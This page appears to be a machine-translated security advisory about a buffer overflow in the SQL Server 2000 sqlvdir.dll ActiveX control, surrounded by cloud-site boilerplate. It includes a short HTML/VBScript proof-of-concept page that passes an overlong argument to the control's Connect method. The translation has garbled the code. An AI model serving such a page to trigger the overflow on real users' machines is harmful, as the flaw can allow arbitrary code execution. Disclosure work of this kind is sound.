Home > Developer > SQL Server

Buffer overflow vulnerability in Microsoft SQL Server sqlvdir. dll ActiveX Control

Source: Internet
Author: User
Developer on Alibaba Coud: Build your first app with APIs, SDKs, and tutorials on the Alibaba Cloud. Read more ＞
Affected Systems:

Microsoft SQL Server 2000 SP4
Microsoft SQL Server 2000 sp3a
Microsoft SQL Server 2000 sp3
Microsoft SQL Server 2000 sp2
Microsoft SQL Server 2000 sp1
Microsoft SQL Server 2000

Description:

BugTraq ID: 31129

Microsoft SQL Server is a popular SQL database system.

The sqlvdir. DLL ActiveX Control (default path: C: \ Program Files \ Microsoft SQL Server \ 80 \ tools \ binn \ sqlvdir. the isqlvdircontrol interface exposed by DLL, CLSID: FC13BAA2-9C1A-4069-A221-31A147636038 does not properly validate user input parameters, if the user is cheated to access a malicious web page and sends too long parameters to the method, this may trigger a buffer overflow and cause arbitrary code execution.

<* Source: beenu Arora (beenudel1986@gmail.com)

Link: http://marc.info /? L = BugTraq & M = 122115323714605 & W = 2
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

<HTML>
Test exploit page
<Object classid = 'clsid: FC13BAA2-9C1A-4069-A221-31A147636038 'Id = 'target'> </Object>
<Script language = 'vbscript'>
Targetfile = "C: \ Program Files \ Microsoft SQL Server \ 80 \ tools \ binn \ sqlvdir. dll"
Prototype = "sub connect ([byval szserver as variant], [byval szwebsite as variant])" membername = "Connect"
Progid = "sqlvdirlib. sqlvdircontrol"
Argcount = 2
Arg1 = "defaultv"
Arg2 = "http: // test/te? S \ test \ tes \ ttest \ test \ Te @ ST \ tes \ test \ tes. \ ttest \ test \ tes \ test \ te. s \ ttest \ test \ tes \ t \\\\\\\\:# $ % test \ te? S \ test \ tes \: $ % \ ttest \ test \ Te @ ST \ tes \ test \ tes. \ ttest \ test \ tes \ test \ te. s \ ttest \ test \ tes \ t \\\\\\\\\:% % test \ te? S \ test \ tes \: $ % \ ttest \ test \ Te @ ST \ tes \ test \ tes. \ ttest \ test \ tes \ test \ te. s \ ttest \ test \ tes \ t \\\\\\\\\:% % test \ te? S \ test \ tes \: $ % \ ttest \ test \ Te @ ST \ tes \ test \ tes. \ ttest \ test \ tes \ test \ te. s \ ttest \ test \ tes \ t \\\\\\\"
Target. Connect arg1, arg2

</SCRIPT>

Suggestion:

Vendor patch:

Microsoft
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.microsoft.com/technet/security/

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

Related Keywords:
buffer overflow vulnerability lab solution buffer overflow in net message activex dll in vb 6 0 buffer overflow detected buffer overflow detected c php buffer overflow buffer overflow causes
Related Article
Nolock, HOLDLOCK, UPDLOCK, TABLOCK, Tablockx in SQL Server

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

What's Trending
Top 10 Tags
datastax versions naming convention zookeeper client class definition md5 microsoft sql server 2005 data structures exception handling error handling
Top 10 Keywords
microsoft download center down wordpress address url site address url wordpress address url windows installer 4 0 download 302 not found web address url definition site address url wordpress db2 integer mac os installation step by step pdf abbreviation for return

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

  • Sales Support

    1 on 1 presale consultation

    Chat Contact Sales

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    Open a Ticket

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

    Learn More